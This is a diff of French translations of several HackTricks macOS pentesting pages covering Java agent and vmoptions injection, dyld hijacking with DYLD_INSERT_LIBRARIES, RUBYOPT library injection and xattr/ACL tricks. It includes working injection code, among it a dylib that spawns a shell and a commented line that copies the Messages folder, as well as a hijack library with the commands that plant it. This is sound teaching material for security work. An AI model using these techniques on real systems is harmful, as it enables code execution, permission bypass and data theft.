||||
```bash
|
||||
# Search only in /Applications folder
|
||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||
|
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Cependant, cela déclenchera une erreur sur l'application exécutée, une autre manière plus discrète est de créer un agent Java et d'utiliser :
|
||||
Cependant, cela déclenchera une erreur sur l'application exécutée, une autre méthode plus discrète consiste à créer un agent Java et à utiliser :
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
@ -95,7 +96,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
|||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Créer l'agent avec une **version Java différente** de l'application peut provoquer un crash de l'exécution à la fois de l'agent et de l'application
|
||||
Créer l'agent avec une **version Java différente** de l'application peut faire planter l'exécution de l'agent et de l'application
|
||||
{% endhint %}
|
||||
|
||||
Où l'agent peut être :
|
||||
|
@ -131,7 +132,7 @@ Agent-Class: Agent
|
|||
Can-Redefine-Classes: true
|
||||
Can-Retransform-Classes: true
|
||||
```
|
||||
Et ensuite exportez la variable d'environnement et exécutez l'application Java comme suit :
|
||||
Et ensuite, exportez la variable d'environnement et exécutez l'application java comme suit :
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
@ -140,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
|||
|
||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||
```
|
||||
## Fichier vmoptions
|
||||
## fichier vmoptions
|
||||
|
||||
Ce fichier prend en charge la spécification des **paramètres Java** lors de l'exécution de Java. Vous pourriez utiliser certains des astuces précédentes pour modifier les paramètres Java et **faire exécuter des commandes arbitraires au processus**.\
|
||||
De plus, ce fichier peut également **inclure d'autres fichiers** avec le répertoire `include`, vous pourriez donc également modifier un fichier inclus.
|
||||
Ce fichier prend en charge la spécification des **params Java** lors de l'exécution de Java. Vous pourriez utiliser certaines des astuces précédentes pour modifier les params java et **faire exécuter des commandes arbitraires** au processus.\
|
||||
De plus, ce fichier peut également **inclure d'autres** avec le répertoire `include`, vous pourriez donc également modifier un fichier inclus.
|
||||
|
||||
De plus, certaines applications Java **chargeront plus d'un fichier `vmoptions`**.
|
||||
Encore plus, certaines applications Java **chargeront plus d'un fichier `vmoptions`**.
|
||||
|
||||
Certaines applications comme Android Studio indiquent dans leur **sortie où elles cherchent** ces fichiers, par exemple :
|
||||
Certaines applications comme Android Studio indiquent dans leur **sortie où elles recherchent** ces fichiers, comme :
|
||||
```bash
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
||||
|
||||
|
@ -158,7 +159,7 @@ Certaines applications comme Android Studio indiquent dans leur **sortie où ell
|
|||
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
```
|
||||
Si ce n'est pas le cas, vous pouvez facilement le vérifier avec :
|
||||
Si ce n'est pas le cas, vous pouvez facilement vérifier avec :
|
||||
```bash
|
||||
# Monitor
|
||||
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||
|
@ -166,4 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
|||
# Launch the Java app
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
||||
```
|
||||
Notez combien il est intéressant que dans cet exemple, Android Studio tente de charger le fichier **`/Applications/Android Studio.app.vmoptions`**, un endroit où tout utilisateur du groupe **`admin` a un accès en écriture.**
|
||||
Notez à quel point il est intéressant qu'Android Studio dans cet exemple essaie de charger le fichier **`/Applications/Android Studio.app.vmoptions`**, un endroit où tout utilisateur du **`groupe admin` a un accès en écriture.**
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## DYLD\_INSERT\_LIBRARIES Exemple de base
|
||||
|
||||
**Bibliothèque à injecter** pour exécuter un shell:
|
||||
**Bibliothèque à injecter** pour exécuter un shell :
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
|
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
|
|||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
Binaire à attaquer:
|
||||
Binaire à attaquer :
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
@ -46,12 +47,10 @@ return 0;
|
|||
}
|
||||
```
|
||||
Injection :
|
||||
|
||||
La bibliothèque dynamique (Dynamic Link Library - DLL) hijacking est une technique utilisée pour charger une bibliothèque malveillante dans un processus légitime en exploitant la façon dont le chargeur dynamique (dyld) de macOS recherche et charge les bibliothèques partagées. Cette technique peut être utilisée pour obtenir des privilèges élevés ou pour exécuter du code malveillant de manière furtive.
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Exemple de Dyld Hijacking
|
||||
## Exemple de détournement de Dyld
|
||||
|
||||
Le binaire vulnérable ciblé est `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
|
||||
|
@ -63,7 +62,7 @@ Le binaire vulnérable ciblé est `/Applications/VulnDyld.app/Contents/Resources
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="LC_RPATH" %}
|
||||
{% code overflow="wrap %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check where are the @rpath locations
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||||
|
@ -89,12 +88,16 @@ current version 1.0.0
|
|||
compatibility version 1.0.0
|
||||
# Check the versions
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Avec les informations précédentes, nous savons qu'il **ne vérifie pas la signature des bibliothèques chargées** et qu'il **essaie de charger une bibliothèque depuis** :
|
||||
|
||||
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
Cependant, le premier n'existe pas :
|
||||
Cependant, la première n'existe pas :
|
||||
```bash
|
||||
pwd
|
||||
/Applications/VulnDyld.app
|
||||
|
@ -102,7 +105,7 @@ pwd
|
|||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
Donc, il est possible de le pirater ! Créez une bibliothèque qui **exécute un code arbitraire et exporte les mêmes fonctionnalités** que la bibliothèque légitime en les réexportant. Et n'oubliez pas de la compiler avec les versions attendues :
|
||||
Alors, il est possible de le détourner ! Créez une bibliothèque qui **exécute un code arbitraire et exporte les mêmes fonctionnalités** que la bibliothèque légitime en la réexportant. Et n'oubliez pas de la compiler avec les versions attendues :
|
||||
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
|
@ -145,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Enfin, il suffit de le copier à l'**emplacement détourné** :
|
||||
Enfin, copiez-le simplement à l'**emplacement détourné** :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -156,30 +159,31 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
|||
Et **exécutez** le binaire et vérifiez que la **bibliothèque a été chargée** :
|
||||
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib détourné dans /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Usage: [...]
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
Un bon article sur la façon d'exploiter cette vulnérabilité pour abuser des autorisations de caméra de Telegram peut être trouvé sur [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
Un bon article sur la façon d'exploiter cette vulnérabilité pour abuser des autorisations de caméra de telegram peut être trouvé à [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
{% endhint %}
|
||||
|
||||
## Plus grande échelle
|
||||
## À plus grande échelle
|
||||
|
||||
Si vous envisagez d'essayer d'injecter des bibliothèques dans des binaires inattendus, vous pourriez vérifier les messages d'événement pour savoir quand la bibliothèque est chargée à l'intérieur d'un processus (dans ce cas, supprimez le printf et l'exécution de `/bin/bash`).
|
||||
Si vous prévoyez d'essayer d'injecter des bibliothèques dans des binaires inattendus, vous pourriez vérifier les messages d'événements pour découvrir quand la bibliothèque est chargée à l'intérieur d'un processus (dans ce cas, retirez le printf et l'exécution de `/bin/bash`).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Injection dans les applications Ruby macOS
|
||||
# macOS Ruby Applications Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## RUBYOPT
|
||||
|
||||
En utilisant cette variable d'environnement, il est possible **d'ajouter de nouveaux paramètres** à **ruby** chaque fois qu'il est exécuté. Bien que le paramètre **`-e`** ne puisse pas être utilisé pour spécifier du code ruby à exécuter, il est possible d'utiliser les paramètres **`-I`** et **`-r`** pour ajouter un nouveau dossier au chemin de chargement des bibliothèques et ensuite **spécifier une bibliothèque à charger**.
|
||||
En utilisant cette variable d'environnement, il est possible d'**ajouter de nouveaux paramètres** à **ruby** chaque fois qu'il est exécuté. Bien que le paramètre **`-e`** ne puisse pas être utilisé pour spécifier le code ruby à exécuter, il est possible d'utiliser les paramètres **`-I`** et **`-r`** pour ajouter un nouveau dossier au chemin des bibliothèques à charger et ensuite **spécifier une bibliothèque à charger**.
|
||||
|
||||
Créez la bibliothèque **`inject.rb`** dans **`/tmp`** :
|
||||
|
||||
|
@ -24,19 +25,17 @@ Créez la bibliothèque **`inject.rb`** dans **`/tmp`** :
|
|||
```ruby
|
||||
puts `whoami`
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Créez n'importe où un script ruby comme :
|
||||
|
||||
{% code title="hello.rb" %}
|
||||
```
|
||||
```ruby
|
||||
puts 'Hello, World!'
|
||||
```
|
||||
```markdown
|
||||
Puis faites charger un script ruby arbitraire avec :
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ensuite, faites charger un script ruby arbitraire avec :
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||||
```
|
||||
|
@ -44,16 +43,17 @@ Fait amusant, cela fonctionne même avec le paramètre **`--disable-rubyopt`** :
|
|||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS xattr-acls extra stuff
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
|
@ -24,7 +25,9 @@ group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writ
|
|||
|
||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||
```
|
||||
Détails non fournis pour la traduction. Veuillez fournir le contenu textuel à traduire.
|
||||
<details>
|
||||
|
||||
<summary>Code de get_acls</summary>
|
||||
```c
|
||||
// gcc -o get_acls get_acls
|
||||
#include <stdio.h>
|
||||
|
@ -65,7 +68,7 @@ acl_free(acl_text);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Since you haven't provided any English text to translate, I'm unable to proceed with a translation. Please provide the specific content you want translated into French, and I'll be happy to assist you.
|
||||
</details>
|
||||
```bash
|
||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||
mkdir start
|
||||
|
@ -73,7 +76,9 @@ mkdir start/protected
|
|||
./set_xattr start/protected
|
||||
echo something > start/protected/something
|
||||
```
|
||||
Détails non fournis pour la traduction. Veuillez fournir le contenu spécifique à traduire.
|
||||
<details>
|
||||
|
||||
<summary>Code de set_xattr</summary>
|
||||
```c
|
||||
// gcc -o set_xattr set_xattr.c
|
||||
#include <stdio.h>
|
||||
|
@ -173,22 +178,23 @@ zip -r protected.zip protected ._protected
|
|||
rm -rf protected
|
||||
rm ._*
|
||||
```
|
||||
There is no English text provided to translate into French. Please provide the relevant English text that you would like to have translated.
|
||||
{% endcode %}
|
||||
```bash
|
||||
# Check if it worked
|
||||
ditto -x -k --rsrc protected.zip .
|
||||
xattr -l protected
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# Bac à sable macOS
|
||||
# macOS Sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
